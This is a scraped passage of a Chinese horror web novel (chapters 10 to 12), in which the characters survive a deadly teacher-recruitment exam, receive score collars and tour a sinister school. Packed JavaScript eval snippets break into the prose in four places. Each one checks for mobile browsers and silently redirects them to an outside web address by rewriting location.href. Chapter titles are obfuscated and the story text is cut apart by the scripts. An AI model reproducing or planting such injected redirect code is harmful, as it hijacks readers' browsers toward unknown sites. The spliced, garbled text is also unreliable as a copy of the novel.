纪燃感觉到对方扯了扯自己衣角,还以为她是被自己感动到了,要拦着自己。他正准备潇洒地回一句不必多言,要死一起死,结果耳朵里先钻进来两个字: “别闹。” 纪燃:“?” “沈笑白你在说什么??”他一脸莫名,“我这是在替你出头啊!?” 纪燃不高兴了,当即就要不管不顾地跟沈笑白掰扯清楚。 沈笑白见他大有不依不饶的架势,眼角微微一抽。这小子闹起来没完没了,真要让他放开了理论,半小时都收不住。 她干脆直接侧过头,在他耳边说了几句话。那声音压得极低,低到边上几个竖着耳朵想偷听的人,一个字都没听到。 只见纪燃原本激动的眼神慢慢变得疑惑,片刻之后,吐出一句:“你确定?” 沈笑白:“嗯。” 纪燃没再说话,直接退回到边上,一副不再参与这件事的样子。 沈笑白则是一句话都没说,转身朝后面的垃圾间走去。 这一幕把边上的人看得是一头雾水,全都不理解他们在搞什么名堂。 沈笑白没理这些目光,她自顾自地走到铁门前,之前还往外渗的血现在已经差不多停了,不再有新的流出来。 她打开门,一股浓郁的血腥味冲了出来,浓到教室另一头的人都闻到了。 众人纷纷捂住鼻子,甚至还有人直接干呕了起来。沈笑白却面不改色,好似没闻到一样,直接走了进去。 铁门在她身后自动关上。 黑暗瞬间吞没了沈笑白,她什么都看不见了。但隐约之间,她能感觉到,前方有什么活物在盯着自己。 “你没死。”沈笑白开口道,“谢止。” 黑暗里安静了几秒。 “你不是已经猜到了吗。”谢止的声音淡淡地传来,“不然也不会进来送死。” 沈笑白正欲说什么,头顶却突然传来机械转动的声响,咔咔咔,好像有什么东西正朝她砸下来。 她侧身一闪,动作干脆利落。 哗啦一声,有什么东西从天花板应声散落。 沈笑白循声望去,想在这一片漆黑中努力看清些什么。像是在回应她的念头一样,下一秒,灯就亮了。 屋里瞬间通明。 她这才看清,刚才砸下来的,是一条横幅。从天花板上直直垂下来,红底白字,硕大的字体写着:“恭喜你通过第二轮考试!” 横幅是湿的。 浓稠的,鲜红的血正从横幅顶端往下淌,沿着布面往下淌,慢慢朝门缝外渗去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这是个杂物间,不大,四五十平的样子。堆着些废弃的课桌椅,墙角立着拖把扫帚,空气里一股潮湿的霉味。 能坐的地方倒是有不少,但不是沾着灰,就是蹭着锈。沈笑白扫了一圈,放弃了坐下的念头,找了个干净的墙面靠着,闭目养神,趁机歇一口气。 估计这轮要等所有人面试完才能出去,希望纪燃那小子一会儿别犯轴。 沈笑白正这样想着,突然感觉腿上有什么东西在动。 窸窸窣窣的,像有什么活物在裤子里爬。 她低头一看。 一只蟑螂从裤口袋边缘探出头来,两根触须晃了晃,黑亮的甲壳在灯下泛着光。 “……老王?”沈笑白一脸震惊,“你怎么在这?” 老王,养老院的王大爷,本名叫王勇。穿越到这个世界之后,不知造了什么孽,偏偏穿到了一只蟑螂身上。 沈笑白第一次发现他的时候,他正被一个下城区的贫民追着踩。 那人瘦得颧骨高耸,眼窝深陷,嘴里不停念叨着,好肥美的蛋白质,好肥好肥。 沈笑白过去捞人的时候,那个贫民直接急红了眼:“你抢什么!这食物是我先看见的!” 沈笑白:“这是我养的宠物。” 那贫民愣住了,上下打量她。 衣服干净整洁,料子一看就不便宜,脸上也没有下城区常见的灰败气色。这个打扮,这个气质,不是中城区就是上城区的人。 他惹不起。 他在心里骂骂咧咧了几句,却不敢出声,转身不甘心地走了。走远了才敢嘀咕出来:“这些上层人什么毛病,连食物都要抢,抢回去当宠物?脑子有病吧……” 沈笑白把王勇救了下来后带回了家。他们几个一起穿越过来的老人,在这个世界找了个房子当据点,平时就住在里面,互相照应。 “不是让你待在家里别出来吗?”沈笑白皱眉,“就你现在这样,出门随便都能被人当加餐。” “怎么着,是活够了想投胎?” 10. 第cos0x10章 “你以为我想出来?” 提起这事,王勇十分委屈,“我本来在衣柜里睡得好好的,谁知道你今天偏穿这条裤子出门啊……” 王勇穿成的这只蟑螂,是能说人话的。 起初沈笑白还觉得很不可思议,但是转念一想,他们都能穿越到游戏世界里来,还有什么是不可能的?也就释然了。 只是他变成蟑螂后说话的声音极小,得凑近了才能听清。 “我刚才一穿进来,就觉出不对劲了,一直趴在你口袋里大气都不敢出。”王勇继续解释,“现在看你安全了,我才敢冒头。” “我要再不出来跟你说一声,等会儿你一屁股坐下去,把我压死了,我找谁说理去?” 王大爷虽然名字里带个勇字,胆子却比谁都小。这一点,倒是和他穿越成的这只蟑螂不谋而合。 虽然这次外出的事不能怪他,但沈笑白还是忍不住嫌弃。她盯着口袋里的蟑螂,眉头皱得能夹死人。 她很想把他扔出去。 真的想。 王勇显然看出来了。 “老沈别冲动啊!这会儿可别犯你那洁癖啊!” 他慌了神,生怕自己被丢出去,沈笑白还真干得出来这种事,于是赶紧找补:“我出来之前洗过澡了,干净的!” 沈笑白不信:“你一只蟑螂,怎么洗澡?” “老吴帮我洗的!是真的!”王勇急了,“用棉签蘸水一点一点擦的,擦得可干净了,壳都擦亮了!你看——” 说着他还真翘起一条腿,试图让对方看看擦得有多干净。 沈笑白:“……” 她不想看。 提起老吴,沈笑白想起什么,顺嘴问了一句:“老吴没跟你一起出来吧?” “没有没有,”王勇说,“她哪敢往外跑,就她现在那小身板,老老实实在家待着呢。” 老吴,养老院的吴阿姨。 穿越到这个世界后,变成了一个八岁的小女孩,扎着两条小辫子,说话奶声奶气的。有回独自出门,还差点被人抓去做义体实验。 自那以后,沈笑白就不让她单独外出了,跟王勇一块儿待在家里。反正他俩这小身板,在外面也帮不上什么忙。 “你别担心老吴了,她好着呢,”王勇说,“身子变小了,脑子又没缩水。昨天还在家用培养肉整了桌大餐,比我吃得都好。” “倒是你……” 他话锋一转,语气也沉了几分:“刚才在你口袋里我可全听见了啊。还以为你有什么一次性清除错纬的好法子呢,结果就是加入裁缝铺?” “这招根本没用啊!你忘了老薛和老郑了?她俩不就是……” “老王。”沈笑白打断他,“你先别说话。” 她从口袋里掏出一张纸巾,直接盖到王勇身上,一把将他裹住。 王勇在纸巾里挣扎了两下:“你捂我干嘛!” “我受不了口袋里有只蟑螂,太膈应了,用纸包着感觉能干净点。” 沈笑白实在压不住这股洁癖劲儿,尽管对方可能真洗过澡了,但她还是控制不住地嫌弃。 她又补了一句:“你要不想被丢出去,就老老实实在纸里待着。” “唔唔唔!行行行我不动!”王勇闷声认命,“那你倒是轻点儿啊,别捂死我了。” 许是两人这边的动静有些大了,不远处的谢止也注意到了。 “沈笑白,你在和谁说话?”他径直问道。 沈笑白把裤兜里刚包好的蟑螂又往里塞了塞,抬头看对方,神色坦然,处变不惊。 “没谁,自言自语呢。”她说,“上了年纪,就习惯和自己说说话。” 谢止看了眼面前这张比自己还年轻的脸:“……” 他别过头去,没再追问。 沈笑白低声对裤袋里的王勇嘱咐了一句,让他别乱动,晚点再找个安全的地方放他出来。 王勇在裤袋里蠕动了两下,算是应了。 于此同时,屋内的灯光也跟着灭了。沈笑白知道,这是又有人要进来了。 果不其然,铁门被推开一道缝,一个人影侧着身子挤了进来,嘴里还嘟囔了一句:“真黑。” 黑暗中,沈笑白什么都看不见,但这具身体的听力还不错,她能听见天花板上的横幅落下来的动静。 以及刚进来的这个人非但没躲,反而直接把横幅给扯了下来的动静。 这不管不顾,莽得肆无忌惮的操作,让她确认了来的是谁。 紧接着灯亮了,验证了沈笑白的猜测是对的。 纪燃正站在门前,手里拽着那条写着“恭喜考试通过”的横幅。 他瞥了眼天花板上还在飘落的彩带,耳边是震耳欲聋的绞肉机声和男人的惨叫声,瞬间便心领神会。 “这庆祝方式谁想出来的?太阴间了吧。” 纪燃嫌弃地把手里的横幅往边上一丢,甩了甩手,“沾我一手血,早知道不接了。” 沈笑白上前一步:“怎么这么慢。” “考官没点到我啊。”纪燃一屁股坐到旁边的桌子上,“你不是让我服从她安排,千万别反抗吗,我就一直等着呗。” “不过我前面那些人,没一个愿意进来送死,全违规被考官吃了。” 说到这儿他啧了一声,“吃这么多,她也不怕撑死。” 说完,又瞥见了角落里的谢止,眼睛顿时亮了:“哟!你也还活着呢?还好还好,考核没作废。” 谢止抬眼看了他一下,没说话。 纪燃也不在意,自顾自地乐着。可这高兴劲儿还没捂热,屋里的灯又灭了。 黑暗又重新灌进来。 门开了。 然后又是一套标准的庆祝流程,横幅砸下来,彩带和伴奏随之响起。 灯亮了。 这次进来的是个女生。 个子很高,五官精致,皮肤细腻。她看起来不像武力值很高的样子,却也能躲开头顶的横幅,没被砸中,身上半点血迹都没沾到。 不过最让沈笑白在意的并不是这件事,而是这个女生的手腕。 上面有一条极细的暗线。 那是仿生皮和金属骨架的接缝,是顶级义体才有的工艺,拼接得几乎天衣无缝。 而且不止手腕上有,脖子,肩胛……哪儿哪儿都是。 这个女生此刻正站在门口,激动得又哭又笑:“我还活着,还活着,太好了太好了!” 纪燃嘴比脑子快:“你全身都是义体?” 女生愣了一下,低头看了看自己的手,下意识地缩了缩:“嗯,之前掉进错纬,出来的时候半条命都没了。我妈妈给我换了最好的义体,才捡回一条命。” 说到这里,她脸上闪过一丝窘迫:“很明显吗?我还以为这个型号已经很完美了,看不出来了呢……看来回去得换个更好的了。” 其实是看不出来的。 她装的是市面上最顶级的义体,光那张仿生皮造价就抵得上中城区一套房,肉眼根本难辨真假。 只是纪燃和沈笑白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528267|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在错纬里混久了,难免受伤,和义体经常打交道,这些东西他们熟到一眼就能认出来。 这套义体少说也值中城区半条街,在她嘴里却轻飘飘的,跟换件衣服一样稀松平常。 纪燃猜测道:“你是住上城区的吧?” 女生点点头,又想起什么似的,眼睛再次亮起来:“刚才真要谢谢你们了!我本来不敢进来的,但看到你们都进了,就想是不是进来也没事?我就赌了一把。” “没想到我运气这么好!”说到这儿她笑起来,笑声脆生生的,“等出去之后,我一定让妈妈给你们打一笔信用点,好好感谢你们!” 纪燃摆摆手,刚准备说不用,是你自己看出来的,也不是我们主动要帮你,就听到沈笑白抢先一步开口: “好啊。” 沈笑白笑着接过了话,热情地介绍起自己:“我叫沈笑白,住中城区,出去之后,别感谢错人了。” 女生被她笑得有些晃神,忙不迭点头:“好的好的,沈姐姐,我记住了!” 纪燃:“……” 又来了。 沈笑白这人最大的毛病就是见钱眼开,听到信用点三个字,直接连脸都不要了。 还没等沈笑白展开更深层次的不要脸,灯就灭了,又有人进来了。 这回是个中年男人。 横幅砸下来的时候他没躲开,结结实实挨了一下,半边身子沾满了血,黏糊糊地贴在身上。但他已经顾不上了,直接咧开嘴笑:“没事,真的没事!进来真的不会死!” 他笑了一会儿,又蹲下去捂着脸开始哭,喜极而泣,哭得全身一抽一抽的。 然后是下一个进来。 再一个。 一个接一个。 外面的人眼睁睁看着一个又一个人选择走进垃圾间,也都猜到了一些真相。与其在外面违抗命令被百分百处死,不如进来搏那一线生机。 于是这个垃圾间里,渐渐站满了人。 在不知道进到第多少个的时候,灯不再灭了,铁门也不再关上。 考官走了进来,怀里抱着个大箱子。她站在门口,从每个人脸上扫过去,一个一个地数。 “二十八个?”她有点不太满意,“怎么才死了一半?” “算了。”考官失望地叹了口气,把手里的箱子放在地上,“恭喜各位,第二轮考试结束,你们都已经通过了。” “还有第三轮吗?”沈笑白发问。 考官:“没有了。” 人群中传来一阵阵如释重负的叹息声,这一切终于要结束了。 有人挤上来问:“那我们通过考试了,是不是该发教师招聘合同了?” 所有人都在等这个答案。 只有拿到教师招聘合同,才算完成了纬令,才能离开这个错纬。 “招聘合同?” 考官笑了一声,像是听见了什么好笑的事情,“你们该不会以为考两场试就能入职当老师了吧?” 众人原地一怔。 “我们光明中学可是市里排名第一的中学,”考官嗤笑一声,“两场考试就想入职?想得也太美了。” 考官继续道:“通过这两场考试,你们只是拿到了实习资格。接下来还要经过10天的实习期考核,通过了才有招聘合同。” “那实习期要考什么!怎么算过?”人群中有人急了,直接喊出了声。 考官没回答,她弯腰打开地上的大箱子,露出里面的东西,抬手指了指: “就考这个。” 11. 第(3,1)*(2,5)章 箱子里,整整齐齐码着一排黑色项圈。 窄窄的一条,嵌着电子显示屏,像是给犯人戴的那种电击项圈,光看着就让人毛骨悚然。 考官随手拿起一个,递到最近的人面前:“戴上。” 那人犹豫了一下,不想戴。但更不敢反抗考官,最后还是接过来,战战兢兢地把项圈扣在脖子上。 滴答一声。 项圈上的电子显示屏亮了。 【实习老师:雷子】 【当前满意值:0分】 “0分?”那人低头看着项圈,“这是什么意思?” “这就是你们实习期要考核的东西,满意值。”考官道。 “实习期间,全校的学生和家长都有权利给你们打分,你们要做的就是让他们满意,攒够100分满意值,才能转正,拿到合同。” 考官指了指屏幕上的零分:“这个分数,是根据你们这两场考试表现,给你们打的初始满意值。” 说完,她示意其他人把项圈戴上,还提醒了一句,戴上之后不能摘下,不然后果自负。 众人闻言不敢反抗,陆陆续续走上前,从箱子里拿出项圈往脖子上扣。 项圈扣上去的那一刻,惊呼声此起彼伏。 “我是0分?” “我也是0分!怎么大家全都是0分?” “考试我们不是都通过了吗?连个及格分都不给?” “就是啊!拼死才活下来的,好歹给个一两分吧!” 考官压根没理会那些抱怨。 她在箱子里拨弄了两下,挑出一个,举到面前端详了片刻,像是觉得这个最好看一样,转身朝谢止走过去,递到他面前。 “这个给你。” 考官柔声道,“特地给你打了优待分哦,实习期要加油。” 众人:“……” 又来了,又要给他偏爱了。 谢止面无表情地接过来,扣在脖子上。 【实习老师:谢止】 【当前满意值:-100分】 众人:“……” 没想到是这种偏爱。 纪燃第一个没忍住,噗地一下笑出声:“负一百?你这优待也太优待了吧!还有比你这更惨的分数吗哈哈哈哈!” 他边笑边拿起一个项圈,随手往脖子上一扣。 【实习老师:纪燃】 【当前满意值:-500分】 笑声戛然而止。 谢止不咸不淡地回了句:“怎么不笑了?” 纪燃:“……” “刚才不是笑得挺开心。” 纪燃咬牙,正欲质问考官,考官却正巧走了过来,她看了一眼他脖子上的分数。 “哎呀,真是抱歉,”她轻飘飘道,“手滑了,多摁了个零,应该是负五十的。” “我想,你应该不会介意的吧?” 介意。当然介意。 但纪燃这句话才到嘴边,就咽了回去,因为他看到了更离谱的分数。 【实习老师:沈笑白】 【当前满意值:-1000分】 “负一千??” 纪燃嘴角一扬,笑容肉眼可见地爬回脸上,“突然觉得我这负五百也没那么惨了哈哈哈哈哈!” 沈笑白看了他一眼:“你再笑?” 纪燃立刻闭嘴,但憋笑中。 大约是纪燃刚才笑得太大声了,考官也注意到了沈笑白的初始分,她微微愣了一下。 “怎么是负一千?”她困惑道,“我明明给你打的零分呀。” 她想了想,忽然啊了一声:“你是不是惹第一场的考官生气了?” 沈笑白闻言想了想。 如果把真正考题揭露出来,直接告诉所有人,几乎让所有人活着走出考场这件事,算惹对方生气的话……那确实有。 不过听考官这个口气,好像这件事还有转圜的余地,沈笑白顺着问了句:“能改吗?” “别人的话,当然不能。” 考官忽然亲昵起来,像是跟她很熟似的,“但你的话,我可以帮你去问问。” 她说着就从口袋里掏出手机,按了几下,贴到耳边。 对面好像接通了。 考官道:“你怎么回事,打这么离谱的分?给我改掉。” 那头不知道说了什么,考官微微一怔:“改不了?怎么会这样……” “我不管嘛,”她声音软下来,带着点撒娇意味,“你帮人家想想办法,改改嘛。” 沈笑白听不清对面在说什么,只看考官又是叹气,又是软声软语地撒娇,像是在真心实意地替自己争取改分。 但这副情真意切的模样,非但没让她觉得暖心,反而有点脊背生寒。 从进垃圾间开始,这考官就耐心得不像话,有问必答,事无巨细,现在还这么卖力地帮忙说情。 就好像是在…… “她在拖时间。” 沈笑白冲纪燃喊道,“快走,十分钟的离场时间要到了!” 几乎在她说出这话的同时,天花板上那些熟悉的莲蓬头就伸了出来。 “反应真快。” 考官笑了,慢悠悠收起那部根本没在通话的手机。 她确实在故意拖时间。 故意在垃圾间里慢慢地讲解实习要求,一个个解答他们的疑惑,这些明明可以出去再说的事,她偏要耗在这里讲完。 此刻真相被揭穿,所有人疯了一样往出口冲。 “快跑啊!十分钟到了!” “要开始消杀了!快啊!!” 考官自然不会让她们这么顺利都跑出去。她先众人一步,侧身挤了出去,反手把铁门摔上,直接锁死。 “放我们出去!!” “你个疯子!故意拖时间害我们!” “我做鬼也要拉着你一起!” 这些人在死亡面前,也顾不上什么服从的规则了,对着考官直接破口大骂。一边骂,还一边砸门踢门,试图破门而出,铁门被他们踹得铮铮作响。 考官听到这些骂声,倒是很开心,心情好到甚至哼起了歌。 不过让她不太高兴的是,还是有些人赶在她关门之前跑了出去。 那些人原本就站在离门口最近的位置,几乎是第一时间往外冲,考官根本来不及拦截。 这里面,自然包括了逃跑速度向来很快的沈笑白和纪燃。 冲出教室的那一刻,跑出来的人个个脸色发白,不少人都瘫坐在地上大口喘气。 缓了几秒才有人反应过来不对劲。 外面的走廊什么时候亮了? 刚才他们进来的时候,走廊里一片漆黑,什么都看不见,大家都默认四周什么都没有。 现在亮了才看清,这是一栋教学楼。他们正站在某一层的走廊上,左右两边是一排排紧闭着门的教室。 他们现在瘫的瘫,喘的喘,个个脸上都带着劫后余生的庆幸。唯有沈笑白,神情有些不对。 “糟了。” 边上刚喘匀气的纪燃:“怎么了?” 沈笑白眉头紧皱:“谢止没出来。” 纪燃往人群里扫了一圈,脸色变了:“他还真没出来?他不是号称第一剪师吗!” 话音刚落,教室里面的垃圾间传来一声巨响,铁门从里面被踹开了一大条缝,整扇门已经摇摇欲坠了。看样子再有几脚,谢止他们就能冲出来。 “来不及了,”沈笑白盯着教室天花板,“消杀要开始了。” 天花板上,那些莲蓬头已经伸了下来,管道里的水声越来越密,越来越响。那些不知名的消毒水,正蓄势待发。 照这个速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528268|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,谢止就算能从垃圾间里出来,也跑不出教室。 “谢止不能死,我进去帮他。”纪燃说着就要往教室里冲。 “来不及了,你进去也是送死。”沈笑白抬手将他拦下,自己却是转身跑了出去。 不是往教室里跑,而是朝着走廊的另一头跑了过去。 “哎!你干嘛去!”纪燃在后面喊了一声,不明所以。 沈笑白要去找一个东西。 一个只有她才知道的东西。 这个错纬明显是个复古空间,手机黑板广播,全是老物件,纪燃他们这些未来世界的人自然不熟悉这些。 但她熟悉。 她穿越来的那个世界,和这个错纬的时代背景很像,她知道走廊上一定有那个东西。 果然,没跑出几步,她就找到了。 一个红色的玻璃箱子嵌在墙上,箱面上写着消防应急器材。 沈笑白一拳砸上去,玻璃碎了一地,手伸进去扯出那卷消防毯,转身就往回跑。 这个材质能不能挡住那些消毒水,她不知道。但总比什么都没有,坐以待毙的强。 等沈笑白跑回去的时候,垃圾间的门正好被踹开,里面的人像开闸的水一样往外涌。 但正如她所料,莲蓬头已经开始洒水了。好些人没跑出几步,就被淋了个正着,他们尖叫着捂住脸,指缝里直冒白烟。 沈笑白见状,抡起卷好的消防毯,瞄准谢止的方向使劲甩过去: “接着,披上!” 毯子飞很准。 谢止却没接。 他身形一闪,直接从正在洒水的莲蓬头缝隙里穿了过来,滴水未沾。前后不过一秒,人已经站在了沈笑白面前。 沈笑白蹙了蹙眉。 谢止拒绝她的帮助,她并不意外。让她意外的是,对方刚才的动作。 瞬间加速。精准闪避。 这分明是战斗型义体才有的能力。可错纬里面所有科技都会失效,义体只能维持基本的生命活动,像加速,闪避这类高阶功能,根本用不出来。 那谢止为什么能用? 更说不通的是,如果他的高阶功能可以使用,刚才又怎么会被关在垃圾间里出不来? 她正欲发问,谢止先莫名其妙来了一句:“讨好我,考核不会有额外加分。” 沈笑白愣了片刻,忽然笑了。 她忽然有点明白,为什么裁缝铺里那么多小队,别的小队都是七八个人一组,唯独谢止的队伍里,只有他一个人。 “行。” 沈笑白笑眯眯道,“下次你快死的时候,我一定在边上看着。你放心,我说话算话。” 说完她没再搭理谢止,转头看向教室。那些没来得及跑出来的人,正被消毒水淋得浑身冒烟。 水碰到哪里,哪里就在融化。 先是头发,再是脸,然后是肩膀,最后只剩一摊模糊的肉团在地上冒着热气。 直到消杀结束,将近有一半的人都没能跑出来,全死在了里面。 考官穿过那些化得差不多了的人群,避开地上已经分辨不出人形的残留物,不疾不徐地走到教室门口。 她站定。 然后猝不及防地,伸手扣住自己脸皮的边缘,往旁边一撕。 撕得很顺滑,很干脆,就像在撕一张贴纸一样。 脸皮被揭下,下面还是一张空白的脸,这次上面的字是: 教导主任。 “祝贺各位,正式成为光明中学的实习老师。” “重新介绍一下,我叫方缺,是光明中学的教导主任,也是你们实习期的直属领导。” “接下来——” 她侧身,做了个请的手势,姿态里带着一股莫名的兴奋。 “让我带你们好好参观一下,我们这所美丽的校园。” 12. 第60÷5章 跟着方缺走出这幢楼之前,沈笑白已经做好了心理准备。她以为外面会是血流成河的景象,或者至少,鬼影重重,阴风阵阵之类的。 结果什么都没有。 映入眼帘的,是一个极其正常的校园。 不仅校园正常,连天气也十分好,阳光暖洋洋地照在身上,让人心情都舒畅了几分,恍惚间差点忘了自己是在诡异的错纬里。 沈笑白环顾四周,他们刚才走出来的楼,门口写着面试楼三个大字。这楼坐落在学校南边,孤零零的一栋,看起来是新建的。 北边还有几栋楼,高矮不一,看不出是做什么用的。再远一点是一个巨大的操场,红色的跑道,绿色的草坪,跑道上密密麻麻站着学生,像是在上体育课。 这一切都太正常了。 可就是太正常了,才让沈笑白觉得心里发毛。 方缺站在人群最前面,面对众人开口道:“今天带你们熟悉一下校园,不给你们安排工作。” “明天开始正式实习上岗,上午上课,下午监考,晚上开家长会。” “怎么还要干这些?” 纪燃从队伍中冒出了头,他一听到要干活就头疼,“我们的实习考核不是要拿到学生和家长的满意值吗?” 方缺看了他一眼,像是觉得这个问题很蠢。 “你们是老师,”她说,“不干活,学校招你们来做什么?” 纪燃噎住,无法反驳。 “至于满意值怎么拿,实习考核怎么过,”方缺轻飘飘道,“那是你们工作之余要操心的事。” “但有一点要记住。”她竖起一根手指,忽然认真了几分,“千万不能影响到日常工作哦。” 说完便转过身示意大家跟上。 众人闻言不敢多说,纷纷紧跟了上去。那冰冷的电子项圈还箍在大家脖子上,给人一种稍有不慎,就会被随时绞死的感觉。 走出面试楼的范围之后,校园里的嘈杂声渐渐涌了过来。 有不少人在校园里走动着。有些穿着蓝白色的校服,有些穿着黑白色的教职工制服,有人在说笑,有人在交谈,有人赶着去上课。 脚步声,说话声,笑声交织在一起,生气勃勃的,仿佛这就是一个青春肆意的普通校园。 ——直到看见他们的脸。 没有五官,一片空白。 那些空白的脸上写着不一样的字,有的写着学生23号,学生87号,有的写着保安,后勤,教务员。 他们不断从实习老师的队伍旁边经过,看到方缺,便停下脚步,客客气气地喊一句方主任好。 方缺点点头,一一回应,优雅且得体。 沈笑白走在队伍中间,不动声色地观察着四周,将每一个细节收进眼底。 还没等她观察出什么,一股香味率先飘了过来。一股热的,荤的,油润的香气,混在风里往鼻腔里钻。 “这是食堂,满分食堂。” 方缺停在一栋楼前,指着说道,“平时学生和老师都在这儿吃,24小时开着,你们饿了随时来。” 这食堂大概三四层,外表看着挺正常。里面传出开火,翻炒,抽油烟的声音,轰轰隆隆的,阵阵热气裹着香味,直往外飘。 不过最引人注意的,还是挂在食堂门口的那条巨大的红色横幅: 追求满分,永不止步,热烈欢迎大家提建议! 横幅下方,两个学生正从里面走出来。 其中一个的脸皮从中间裂开了一条缝,像拉链似的往两边分开,从里面伸出来一张嘴。他手里举着一只刚出锅的鸡腿,正往那张嘴里送。 要是搁之前,这场面早把大家吓坏了,但经过前两场考试,大家现在已经见怪不怪了。 再说了,这学生的这张嘴可比考官的血盆大口小多了,看起来也就是普通人类的大小,所以并没引起众人多大反应。 反而是学生手里的那只鸡腿,让大家反应强烈。 这次掉进错纬的人,大多来自下城区,平日里吃的都是营养块,蛋白糊,这类东西只配叫果腹,和食物两个字沾不上边,他们哪见过这种新鲜肉食。 金黄焦脆的外皮,油润发亮的色泽,渗着汁水的大鸡腿。 看得众人的唾液疯狂分泌,他们不自觉吞口水,舔嘴唇,所有人脑子里都只有同一个念头。 那鸡腿,一定好吃得要命。 直到那个学生嚼了几口。 “呸!真难吃!” 旁边另一个学生一把攥住同伴,紧张地低吼道:“你不要命了?” 那学生浑身一僵,像是想起了什么,哆嗦着往食堂里面瞟了一眼,然后立刻转回来,对着空气扯开嗓子喊: “好、好吃!这鸡腿太好吃了!” “我从来没吃过这么好吃的鸡腿!” 他喊这话的时候,正巧站在那条“满分食堂热烈欢迎大家提建议”的横幅下面。这诡异的一幕,看得众人鸡皮疙瘩都起来了。 “你们怎么了?是饿了吗?”方缺关切道,“要不要进去吃点?我们食堂是全免费的哦。” 大家吞了吞口水。 很想吃。 但开口回答的时候,一个个把头摇得跟拨浪鼓似的。 “不饿不饿,谢谢主任。” “对对对,我们不饿。” “是啊主任,咱们还是抓紧参观下一个地方吧。” 方缺遗憾道:“那可惜了,我们食堂的师傅烧菜特别好吃,还拿过烹饪金奖呢。” 说完也不勉强众人,转身继续往前走。 一群人快步跟上,恨不得脚下生风,赶紧离开这栋楼。那股说不清道不明的诡异感,让人不寒而栗,后背阵阵发凉。即便是正午当头,晒得头顶都有些发烫,也驱散不了那股子寒意。 一直走到操场附近,嬉闹声,笑骂声混在一起传过来,听到这些正常的校园动静,大家才觉得那股寒意没那么重了。 操场上此刻正站着很多学生,他们围在一起,热闹地聊着天。 “真羡慕啊,要是有一天我也能在这里就好了。” “是啊,你看那块位置,坐北朝南,风水肯定好!” “我怎么觉得这块更好呢?早来的就是不一样,好位置都给选走了。” 起初大家都还以为这群学生是在上体育课,但走近了些才发现不对。 那些学生根本没在上课,他们只是站在跑道上,对着操场中央的草坪指指点点,有说有笑,好像在羡慕着什么。 好奇心被勾起来了。 一行人顺着人群的缝隙往草坪上看去,想瞧个究竟,想看看这群学生到底在羡慕什么。 这不看还好,一看,所有人的汗毛都竖了起来。 草坪上立着一排排黑色的石碑,方方正正,整整齐齐。碑面上刻着字,密密麻麻的,离得太远看不太清。 但那形状,那排列,那竖在泥土里的样子……就像是一排排墓碑。 一群青春洋溢的学生,围着一排排墓碑,满嘴羡慕。 这个认知一出来,刚才退下去的那股寒意又卷土重来,而且比之前的更重更冷。 众人不自觉地加快了脚步,越走越快,最后几乎是半跑着往前走的,好像慢一步,自己也会被埋进那些碑下面。 直到跑出操场范围,那股寒意才稍稍松开了些。 还没等众人喘口气,方缺再次停在一幢楼前。 “这是启明教学楼。”她指了指边上的楼,“是你们明天上课的地方。” 众人闻言看了过去,这楼大约五六层高,外表看起来和普通的教学楼没什么区别。但每一层楼的走廊上,都立着一个巨大的警示牌。 白底红字,清晰得隔了半条街都能看清: 严禁私自坠楼,一经发现,全体开除。 什么叫私自坠楼? 这还有不私自的吗? 况且人都没了,开除了又能怎? 这警示牌上的每个字大家都认识,但连在一起,却是说不出的诡异。 还没等众人想明白,更诡异的就来了。 一个保洁从一楼的走廊里走了出来。她穿着灰色的工服,低着头,弓着腰,双手握着拖把,一下一下拖着地。 她一边拖地,一边碎碎念,声音沙哑,满是不耐烦: “烦死了…烦死了…” “拖不完…怎么都拖不完…没完没了的烦死了…” 明明走廊已经被拖得发白了,白得反光,一看就是擦了无数遍的,可她还是不停,一遍又一遍地拖着,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528269|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像被困在这个动作里一样。 这一幕把众人看得头皮发麻,喉咙发紧,没人说得出话。 沈笑白最先回过神来,突然问了一句:“方主任,全校有多少学生和家长?” 方缺听到这个问题,会心一笑,开口道:“全校一共20个班级,每个班有50个学生和50个家长。” “每个学生和家长手上都有10分的满意值,一共2万分,你要加油哦。” 沈笑白礼貌道谢:“谢谢关心,我会加油的。” 她嘴上说着谢谢,心里却没有半分谢意,不仅没有,反而脊背发凉。 方缺……竟然看穿了自己的想法。 